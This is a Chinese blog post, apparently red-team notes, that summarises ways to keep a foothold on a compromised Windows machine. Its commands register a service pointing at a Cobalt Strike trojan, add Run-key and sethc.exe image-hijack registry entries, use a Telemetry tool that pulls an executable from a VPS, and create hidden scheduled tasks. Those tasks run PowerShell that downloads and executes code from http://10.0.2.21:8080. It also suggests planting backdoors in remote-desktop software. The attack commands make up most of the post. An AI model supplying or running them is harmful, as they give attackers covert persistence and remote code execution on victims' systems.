• Windows权限维持总结


    windows权限维持

    注册服务

    sc create 服务名 binpath= "cmd.exe /k 木马路径" start="auto" obj="LocalSystem"
    sc start 服务名
    

    在这里可以使用Cobaltstrike“梼杌”脚本进行创建

    我这里存在一个问题,我的实验环境是纯净的windows server 2012,我在该其创建了名为“WindowsUpdate“的服务并把目标指向了我cs木马,执行该命令的权限是administrator权限,创建服务时爆出的错误为”服务没有及时响应启动或控制请求“,但我查看目标发现服务已经创建成功了,且在我没开启前就自动上线,之后我用sc.exe去启动这个服务名也是爆上诉错误,且也成功上线,但我查看目标机器发现WindowsUpdate服务并没有启动,一直没找到原因,特向各位大佬请教,已下是我的操作步骤。

    如图该服务已创建且执行,但这里爆出了”服务没有相映控制功能“,查看试验机,服务并没有开启,但可以看到木马进程。

    服务器管理爆红,开头猜测是防火墙问题,但关闭防火墙,且杀掉进程重启了计算器,服务在没开启的情况下还是自动上线了cs。

    注册表添加启动项

    reg add "HKLMSoftwareMicrosoftWindowsCurrentVersionRun" /v Svchost /t REG_SZ /d "C:UsersAdministratorDesktopartifact " /f 
    

    启动项已添加,重启cs上线,没问题。

    映像劫持

    原理:映像劫持和dll劫持都是差不多的,都是通过劫持一个程序运行另一个程序,简称偷梁换柱。

    reg add "HKLMSoftwareMicrosoftWindows NTCurrentVersionImage File Execution OptionsSethc.exe" /f
    reg add "HKLMSoftwareMicrosoftWindows NTCurrentVersionImage File Execution OptionsSethc.exe" /v Debugger /t REG_SZ /d "C:UsersAdministratorDesktopartifact.exe " /f 
    shell sethc.exe
    

    sethc.exe是劫持的程序,可以自己更换,上线方式就是运行该exe,即会上线cs马。

    更多用法可以参考:https://www.anquanke.com/post/id/151425

    DLL劫持

    可以参考我之前的文章--《D盾dll劫持利用》

    https://www.cnblogs.com/Secde0/articles/13862714.html

    Microsoft Compatibility Telemetry 微软兼容性遥测服务

    介绍:CompatTelRunner.exe是用户可以在Windows CompatibilityTelemetry服务下运行的进程,它通常位于C: Windows System32目录中。它负责收集有关计算机及其性能的各种技术数据,并将其发送给Microsoft进行Windows客户体验改善计划以及用于Windows操作系统的升级过程中。该进程使用了CPU的极高百分比来进行文件扫描,然后通过Internet连接传输数据。因此,用户还会遇到互联网连接速度较慢甚至系统崩溃的情况。

    • 使用条件
      • 管理员权限,并且可以写入HKLM(HKEY_LOCAL_MACHINE)
      • 机器必须出网
      • 存在CompatTelRunner.exe
      • 2008R2 / Windows 7至2019 / Windows 10
    exp:
    Telemetry.exe install /command:calc
    Telemetry.exe install /url:http://vps:8089/System.exe
    

    参考:

    https://my.oschina.net/u/4579293/blog/4476633

    https://github.com/zhouzu/Telemetry

    计划任务

    使用之前隐藏后门文件位置,添加完计划任务隐藏计划任务

    #(X64) - On System Start
    schtasks /create /tn PentestLab /tr "c:windowssyswow64WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onstart /ru System
    #(X64) - On User Idle (30mins)
    schtasks /create /tn PentestLab /tr "c:windowssyswow64WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onidle /i 30
    #(X86) - On User Login
    schtasks /create /tn PentestLab /tr "c:windowssystem32WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onlogon /ru System
    #(X86) - On System Start
    schtasks /create /tn PentestLab /tr "c:windowssystem32WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onstart /ru System
    #(X86) - On User Idle (30mins)
    schtasks /create /tn PentestLab /tr "c:windowssystem32WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onidle /i 30
    

    https://blog.csdn.net/qq_23936389/article/details/102950219

    https://yq.aliyun.com/articles/479093

    远程桌面

    在出网的条件下可以使用诸如向日葵、teamview等远程软件,还可以把这些软件加入后门,如果有其他红军人员使用可以趁虚而入。

    附加

    个人认为总结较全的文章

    https://xz.aliyun.com/t/8095

  • 相关阅读:
    【转】C++轻量级可配置语法分析器
    [转载]正则表达式大全
    Batch update returned unexpected row count from update 错误解决方法
    [转载]C# ToString格式字符串整理(Format)(数字、日期和枚举的标准格式设置说明符)(SamWang)
    Centos配置mono环境
    ASP.NET MVC 4 简介
    添加控制器 Adding a Controller
    [转载]OrmHate
    [转载]张小龙谈移动互联网产品
    [转载]Golden Ratio in logo designs
  • 原文地址:https://www.cnblogs.com/Secde0/p/13938311.html
Copyright © 2020-2023  润新知